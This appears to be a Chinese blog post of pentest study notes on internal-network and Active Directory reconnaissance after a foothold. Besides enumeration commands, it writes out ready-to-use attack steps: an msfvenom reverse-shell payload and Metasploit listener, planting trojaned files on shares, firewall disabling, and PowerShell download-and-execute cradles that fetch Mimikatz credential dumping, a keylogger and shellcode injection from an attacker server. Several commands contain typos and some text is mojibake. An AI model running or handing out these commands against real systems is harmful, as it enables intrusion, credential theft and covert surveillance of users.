首页 > 技术文章 > 02.内网信息收集

fanghan 2020-11-16 02:46 原文

内网信息收集概述
本地信息收集
域环境信息收集


服务器收集 更要全面一些
是否要提权


pc 域用户权限:

网络的收集
网段网络中其他主机和设备


PART 1: 内网信息收集概述

内网信息收集概述
当我们渗透进内网环境后,对网络拓扑一无所知,测试人员应先对当前网络环境做出判断。对当前机器角色分析,对机器所处网络环境拓扑结构分析,对机器所处区域分析。
当前机器角色分析:
判断当前主机是web服务器/开发测试服务器/公共服务器/文件服务器/代理服务器/dns服务器/还是存储服务器等。具体判断过程可根据主机名,文件,网络链接情况综合完成。
对机器所出网络环境分析:
是指对所处内网进行全面数据收集和分析整理,绘制出大致的内网整体结构拓扑。
对机器所处区域分析:
判断机器所处于网络拓扑哪个区域,是在dmz/办公区/还是核心区/区域并不是绝对的,所以区域界限也是相对的。

通过web进入:
如果通过web进去的服务器里面还有,文件服务器:所有人都得访问这个文件服务器.
替换掉文件植入马,许多人就会去下载拿到控制权

如果里面有DNS:
通过DNS可以看到解析有没有内网的服务器,例如客服管理平台等之类的,域环境也能看到.

如果搭建了DHCP服务器可以去查看他有哪些网段:
如果有可以确定他的内网都是通过这台DHCP服务器来分发的,会有多组网段'

开发测试服务器:
可以获得测试和开发的产品

代理服务器:
可以获取内网个人pc的账号并以登录


PART 2: 本地信息收集

本机的信息收集
本机信息收集包括操作系统、权限、内网IP地址段、杀毒软件、端口、服务、补丁更新频率、网络连接、共享、会话等。如果是域内主机,那么操作系统、应用软件、补丁、服务、杀毒软件一般都是批量安装的。
手动信息收集
查询网络配置信息

inconfig /all
查询操作系统及软件信息

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" 查询操作系统和版本信息 英文系统
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" 查询操作系统和版本信息 中文系统
echo %PROCESSOR_ARCHITECTURE% 查看系统体系结构
wmic prouct get name, version 查看安装的软件的版本、路径等
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version" PowerShell收集软件的版本信息

权限不同收集的不同:
普通用户无法获取密码信息/sam没有权限
客服电脑一般是管理员得提到system权限 用Uac提权


内网IP地址段:
服务器:
ipconfig /all:一般会有多个网卡,有多个网卡就有多个网段
如何查找内网网段:
1.用工具扫网段(192.168.0.10/192.168.1.10/192.168.3.10)
s.exe 基于TCP和SYN扫描 192.168.0.0 192.1168.255.255 445
如果192.168.10.100 445端口开放, 就证明10网段有主机在使用

2.文件共享链接记录(ftp链接记录)浏览器访问记录,mstsc3389连接记录
如果某台内网机器提供文件共享下载,那么垮网段也能访问
测试方法win+r输入\\1 会有历史记录
测试方法我的电脑ftp 会有历史记录
远程桌面连接 会有历史记录
网页就打开浏览器访问历史记录

3.抓包分析网络流量 混杂模式 wireshark-win32_cn
用msf 通过meterpreter来建立回弹连接抓取流量,要做转发

4.黑掉路由器,核心交换机

当有了其他的网段就可以纵向渗透否则一直都是横向


看进程:tasklist

看端口:netstat -an
看服务:看端口就能看到服务

看补丁:systeminfo

看网络连接:netstat -ano

看共享:net share

查看计划任务:黑客会定时创建管理员用户名或者执行程序

查询用户列表
net user 查看本机用户列表
net localgroup administrators 获取本地管理员信息
query user || qwinsta 查看在线用户


查询本机共享列表
查看本机共享列表和可访问的域共享列表
wmic share get name,path,status 查找共享列表
查看后对相应的文件捆绑paylod做会话连接
也可以映射远程主机的盘因为默认c,d,e都是默认共享
映射方法:net use k: \\192.168.156.15\c$ 登录账号密码就行 条件开445

查询路由表以及所有可用接口的ARP缓存表:
route print
arp -a 内网的通信这里都有记录.这个很重要,内网要通信一定要发一个arp广播
路由默认0 走的接口网关,去往任何目的 都交给接口网关
如何看是否被欺骗,看arp缓存表如果出现重复就是被欺骗
防御方法:绑定mac地址,或者开防火墙,服务器会绑定一般
题外话,kali可以强制把https的包变成http

netsh命令可以做端口转发:
某服务器用公网ip,也可以访问内网.单服务器却在内网,简称站库分离,
用netsh把公网的3306端口转到内网的3306这样就可以转发了
百度搜索 netsh 端口转发

-----------------------------------------------
wmic service list brief 查询本机服务信息
查询进程列表
tasklist 查看当前进程列表和进程用户
wmic process list brief 查询进程信息
查看启动程序信息
wmic startup get command, caption
查看计划任务
schtasks /query /fo LIST /v
查看主机开机时间
net statistics workstation
查询用户列表
net user 查看本机用户列表
net localgroup administrators 获取本地管理员信息
query user || qwinsta 查看在线用户
列出或断开本地计算机与所连接的客户端的对话
net session
查询端口列表
netstat -ano
查看补丁列表
systeminfo 查看系统详情
wmic qfe get Caption,Description,HotFixID,InstalledOn 查看补丁的名称、描述、ID、安装时间等
查询本机共享列表
查看本机共享列表和可访问的域共享列表
wmic share get name,path,status 查找共享列表
查询路由表以及所有可用接口的ARP缓存表
route print
arp -a
查询防火墙相关配置
netsh firewall set opmode disable 关闭防火墙(Windows Server 2003 以前的版本)
netsh advfirewall set allprofiles state off 关闭防火墙(Windows Server 2003 以后的版本)
netsh firewall show config 查看防火墙配置
自动信息收集
为了简化手动信息收集的繁琐步骤,我们可用使用自动化脚本 —— WMIC(Windows Management InstrumentationCommand Line,Windows管理工具命令行)脚本,脚本下载地址,执行该脚本以后,会将信息收集的结果写入HTML文档。
http://www.fuzzysecurity.com/scripts/files/wmic_info.rar


PART 3: 域环境信息收集

查看当前全权限
whoami 查看当前权限
whoami /all 获取SID
net user xxx /domain 查询指定用户的详情信息
判断是否存在域
ipcondig /all 可查看网关IP地址、DNS的IP地址、域名、本机是否和DNS服务器处在同一网段等... 然后,通过反向解析查询命令nslookup来解析域名的IP地址,用解析到的IP地址进行对比,判断域控服务器和DNS服务器是否在同一台机器上。
systeminfo 对比查看"域(域名)"和"登录服务器(域控制器)"的信息是否互相匹配。
net config workstation 对比查看"工作站域DNS名称(域名)"和"登录域()域控制器"的信息是否相匹配。
net time /domain 判断主域。


实战
可以登录3389选项里有驱动器勾选上就可以拖物理机的资源,弊端就是自己的盘符也会进入目标机,管理员可能会映射
命令行收集很麻烦而且容易发现,就是msf收集
制作马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.182.138 lport=1121 -f exe > xy.exe

开侦听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.182.138
set lport 1121
run

把马放进03服务器
等待回链

hashdump收集hsx
进入shell
看进程,等等都可以
background挂起
----------------------------------------------


域收集
把马放进win7点击回链

对话生成后: //生成对话后可以使用 run winenum 收集命令的信息
进入shell
whoami
查看账号 fanghan域里fh1账号
----------------------------------------

whoami /all
看权限以及域用户的SID //以后用来做黄金票据和白银票据
:S-1-5-21-2511895695-3322341454-56546430-1103
S-1-5-21-2511895695-3322341454-56546430只要1103这一部分
---------------------------------------------------------

net user xxx /domain 查询指定用户的详情信息
net user fh1 /domain 看得到什么时间创建的以及
----------------------------------------------------------

net user domain 查询域用户
这条命令是直接上传到域控的
---------------------------------------------------------

net time /domain 判断主域。
可以看见主域控的地址
\\WIN-9JJK4CNGD41.fanghan.com �ĵ�ǰʱ���� 2020/11/18 2:14:59
尝试访问
dir \\WIN-9JJK4CNGD41.fanghan.com\c$ 访问失败没有权限
可以用漏洞提权或者身份访问或者白银黄金票据访问

--------------------------------
探测域内存活主机
使用nbtscan扫描本地或远程TCP/IP网络上开放的NetBIOS名称服务器,使用方法:nbt.exe 192.168.1.1/20, 输出的结果第一列为IP地址,第二列为机器名和所在域的名称,第三列即最后一列为及其所开启的服务的列表。
使用ICMP协议快速探测内网
arp-scan工具 使用方法:arp.exe -t 192.168.1.1/20 //后面讲
Empire的arpscan模块 //后面讲
Nishang中的Invoke-ARPScan.ps1脚本 //后面讲

--------------------
域内端口扫描
注意端口banner信息
探测端口开放的服务
注意探测端口触发防御系统
域内存活主机探测
利用netbios探测内网
使用工具:nbtscan
使用方法:
nbtscan.exe 192.168.0.1-254
工具地址在:内网安全---NBTSCAN
上传到目标主机.cmd进入目录
nbtscan.exe 运行就看到用法了
例如:
192.168.8.0/24
能快快速扫描网络其他主机以及主机名和mac地址用于横向纵向
----------------------------

工具2 s.exe
工具地址在:密码破解---3389---s.exe
192.168.8.1 192.168.8.254 445 512 //512是线程
-----------------

收集域内基础信息
net view /domain 查询域
net view /domain:HACHE 查询域内的所有计算机
net group /domain 查询域内的所有计算机
net group "domain computers" /domain 查询所有域成员计算机列表
net group "domain admins" /domain 查看域管理员
net accounts /domain 获取域密码信息
nltest /domain_trusts 获取域信任信息

域组分析
*DnsUpdateProxy
*Domain Admins //2一般这个域管理员算是大的了
*Domain Computers
*Domain Controllers
*Domain Guests
*Domain Users
*Enterprise Admins //1限最大,域林管理员组
*Enterprise Read-only Domain Controllers
*Group Policy Creator Owners
*Read-only Domain Controllers
*Schema Admins
--------------------------------------------------

nltest /domain_trusts 获取域信任信息
可以看到本机和哪些域做了信任关系,跨域会用到 用秘钥伪造可以攻击
-----------------------------------------------------

查找域控制器
nltest /DCLIST:hacke 查看域控制器的机器名
Nslookup -type=SRV_ldap._tcp 查看域控制器的主机名
net time /domain 查看当前时间
net group "Domain Controllers" /domain 查看域控制器组
netdom query pdc 查看域控制器的机器名
命令都差不多找一个最简短的记下来
-------------------------------------------------------

获取域内的用户和管理员信息
查询域内用户列表
net user /domain 向域控制器进行查询
wmic useraccount get /all 获取域内用户的详细信息
dsquery user 查看存在的用户
net localgroup administrators 查询本地管理员用户
查询域管理员用户组
net group "domain admins" /domain 查询域管理员用户
net group "Enterprise admins" /domain 查询管理员用户组
---------------------------------------------------------

定位域管理员
在域网络攻击测试中,获取域内的一个支点后,需要获取域管理员权限;定位域内管理员的常规渠道,一是日志,二是会话。
常见域管理员定位工具:
psloggedon.exe
PVEFindADUser.exe
netview.exe
Nmap的NSE脚本
PowerView脚本
Empire的user_hunter模块

--------------------------------------------------------

查找域管理进程
net group "Domain Admins" /domain 获取域管理员列表
tasklist /v 列出本机的所有进程及进程用户
net group "Domain Controllers" /domain 查询域控制器列表
NetSess -h 收集所有活动域的会话列表
分析域内网段划分情况及拓扑结构
在掌握了内网的相关信息后, 渗透测试人员可以分析目标网络的结构和安全防御策略,获取网络信息、各部门的IP地址段,绘制内网的拓扑结构图。
---------------------------------------------------------------------------

使用powershell 收集信息 //重点来了
默认powershell是不能执行脚本的
获取脚本策略
get-executionpolicy
更改执行策略必须以管理员身份执行才可以,否则报错注册表安全问题
set-executionpolicy unrestricted
绕过脚本
-exec bypass
powershell.exe -Executionpolicy BYpass -file 123.ps1 绕过安全策略直行脚本
powershell.exe -Executionpolicy BYpass -windowstyle hidden -nologo -nonlnteractive -noprofile -file 123.ps1 本地隐藏绕过权限直行脚本
cmd下使用powershell
powershell -exec bypass "import-module c:\powershell.ps1;Get-NetUser"
powersploit 信息收集
PS C:\> import-module .\powerview.ps1
PS C:\> Get-NetDomain 获取当前的域名称
Get-Netuser 返回所有域内成员的详细信息
Get-NetDomainController 获取所有的域内的控制器信息
Get-NetComputer 获取所有域内机器的名称
Get-Netshare 获取域内的所有的网络共享
Get-NetRDPSESSION 获取指定服务的远程连接信息
Get-NetProcess 获取进程的详细信息
Get-ADOPJECT 获取活动目录的信息
这个命令是用户是否登陆计算机且判断用户是否有管理员权限
invoke-processhunter

解析:
实战用到内网安全工具包--PowerSploit-master
PowerSploit-master里有很多模块,Recon是收集信息模块
Recon里有的脚本
PowerView.ps1//收集域信息
powershell调用
import-module .\powerview.ps1 //导入默认不能执行
powershell -exec bypass import-module .\powerview.ps1 //导入成功
/////实战演示失败,,,,
---------------------------------------------------------------

invoke-portscan 用于扫描端口//记得要调用powershell
iex(new-object net.webclient).downloadstring("http://192.168.3.1/PowerSploit/Recon/Invoke-Portscan.ps1") 下载扫描脚本到服务器
invoke-portscan -hosts 192.168.3.1,192.168.3.200 -ports "21,22,80"

invoke-mimikatz 抓密码
iex(new-object net.webclient).downloadstring("http://192.168.3.1/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -dumpcreds 导出hash

get-keystrokes 键盘记录
iex(new-object net.webclient).downloadstring("http://192.168.3.1/PowerSploit/Exfiltration/Get-Keystrokes.ps1")
Get-Keystrokes -logpath C:\Users\admin\123.txt 记录键盘保存到123.txt里面


实战:需要把整个PowerSploit-master 重命名PowerSploit并且放到vps上
http://vps地址/PowerSploit/Recon/Invoke-Portscan.ps1 上传到vps地址并访问成功
iex(new-object net.webclient).downloadstring("http://vps地址/PowerSploit/Recon/Invoke-Portscan.ps1") //目标机导
invoke-portscan -hosts 192.168.3.1,192.168.3.200 -ports "21,22,80" 添加端口扫描

invoke-mimikatz 抓密码
iex(new-object net.webclient).downloadstring("http://192.168.3.1/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -dumpcreds 导出hash

get-keystrokes 键盘记录
iex(new-object net.webclient).downloadstring("http://192.168.3.1/PowerSploit/Exfiltration/Get-Keystrokes.ps1")
Get-Keystrokes -logpath C:\Users\admin\123.txt 记录键盘保存到123.txt里面

-----------------
kali也有powersploit
powershell启动
ls查看模块
cd recon
ls poweview.ps1
在生成的会话框里,load powershell 加载
powershell_import 粘贴poweview.ps1路径
powershell_exeute get_NetDomain 域哪些
powershell_exeute get_NetUser 域用户
powershell_exeute get_NetCompter
-------------------------------
工具
empire
后面讲
-----------------------------------------------

以下内容粘贴复制
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.129 LPORT=1123 -f powershell -o /root/xdx.ps1

侦听
use exploit/multi/handler
set lport 1123
run

iex(new-object net.webclient).downloadstring("http://192.168.3.1/xdx.ps1") xdx.ps1 下载生成好的ps脚本

iex(new-object net.webclient).downloadstring("http://192.168.3.1/PowerSploit/CodeExecution/Invoke-Shellcode.ps1") 下载
invoke-shellcode.ps1 可以将msf生成是payload进程注入
Invoke-Shellcode -shellcode $buf -Force 执行进程注入,msf会侦听回来一个回话


-------------------
AntivirusBypass 发现杀软特征
ScriptModification 在目标主机创建或者修改代码
CodeExecution 在目标主机执行代码
Persistence 后门脚本持久控制
Exfiltration 在目标主机进行信息收集
Recon 以目标主机为跳板进行内网信息侦查
Mayhem 蓝屏等破坏性脚本
Privesc 用于提权

 

推荐阅读